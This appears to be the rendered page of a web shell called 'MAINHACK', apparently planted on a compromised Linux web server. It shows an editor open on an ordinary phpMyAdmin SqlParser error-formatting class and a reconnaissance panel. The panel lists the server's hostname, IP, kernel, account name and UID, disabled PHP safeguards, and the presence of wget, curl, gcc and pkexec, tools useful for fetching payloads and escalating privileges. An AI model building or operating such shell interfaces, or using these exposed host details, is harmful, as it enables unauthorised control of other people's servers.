[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Error.php
<?php declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Utils; use PhpMyAdmin\SqlParser\Exceptions\LexerException; use PhpMyAdmin\SqlParser\Exceptions\ParserException; use PhpMyAdmin\SqlParser\Lexer; use PhpMyAdmin\SqlParser\Parser; use function htmlspecialchars; use function sprintf; /** * Error related utilities. */ class Error { /** * Gets the errors of a lexer and a parser. * * @param array<int|string, Lexer|Parser> $objs objects from where the errors will be extracted * * @return array<int, array<int, int|string|null>> Each element of the array represents an error. * `$err[0]` holds the error message. * `$err[1]` holds the error code. * `$err[2]` holds the string that caused the issue. * `$err[3]` holds the position of the string. * (i.e. `[$msg, $code, $str, $pos]`) */ public static function get($objs) { $ret = []; foreach ($objs as $obj) { if ($obj instanceof Lexer) { /** @var LexerException $err */ foreach ($obj->errors as $err) { $ret[] = [ $err->getMessage(), $err->getCode(), $err->ch, $err->pos, ]; } } elseif ($obj instanceof Parser) { /** @var ParserException $err */ foreach ($obj->errors as $err) { $ret[] = [ $err->getMessage(), $err->getCode(), $err->token->token, $err->token->position, ]; } } } return $ret; } /** * Formats the specified errors. * * @param array<int, array<int, int|string|null>> $errors the errors to be formatted * @param string $format The format of an error. * '$1$d' is replaced by the position of this error. * '$2$s' is replaced by the error message. * '$3$d' is replaced by the error code. * '$4$s' is replaced by the string that caused the * issue. * '$5$d' is replaced by the position of the string. * * @return string[] */ public static function format( $errors, $format = '#%1$d: %2$s (near "%4$s" at position %5$d)' ) { $ret = []; $i = 0; foreach ($errors as $key => $err) { $ret[$key] = sprintf( $format, ++$i, $err[0], $err[1], htmlspecialchars((string) $err[2]), $err[3] ); } return $ret; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.27 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002